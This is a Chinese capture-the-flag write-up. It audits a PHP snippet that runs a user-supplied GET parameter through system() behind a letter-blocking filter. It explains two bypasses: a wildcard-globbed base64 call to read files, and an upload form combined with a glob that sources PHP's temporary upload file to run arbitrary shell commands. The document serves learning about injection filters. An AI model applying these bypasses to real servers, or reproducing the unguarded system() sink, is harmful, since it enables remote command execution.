代码审计
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))//过滤了字母 ; ` % %09 &号{system($c);}}else{highlight_file(__FILE__);}
这里把字母过滤了,但是数字没有被过滤,所以要构造无文字的命令,这里参考了几篇文章,有几种办法。
第一种利用
linux环境下,/bin目录有系统常用命令,例如:cat、cp、chmod、df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,可以直接利用通配符进行调用#没有过滤数字,可以用base64进行编码 ?c=/???/????64 ????.???
第二种是制作无字母数字的命令,在
php中,如果我们进行上传文件,会通常在服务器端保存为/tmp/phpxxxxxx的形式,有条件竞争异曲同工之妙,文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即/???/?????????,然而因为/tmp目录下还有很多文件也也符合条件,也会被匹配上。但是最后一个字符大概率是大写字母,观察ascii表可以发现,在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:/???/????????[@-[],到这一步已经能匹配到了我们上传的文件。如何执行呢,linux系统中可以用.进行执行,相当于source可以执行sh命令。具体命令的原理可以看后面的参考文章。我们要先制作一个
post上传文件表单<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>upload</title> </head> <body> <form action="http://xxxxxxx.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data"> <!-- 地址就写服务器的地址--> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>抓包上传文件,构造
POC
- 修改
shell命令查看flag
参考文章:
P神-无字母数字webshell之提高篇
Firebasky-无字母数字命令执行
LINUX中的点命令,或source命令,或点符号
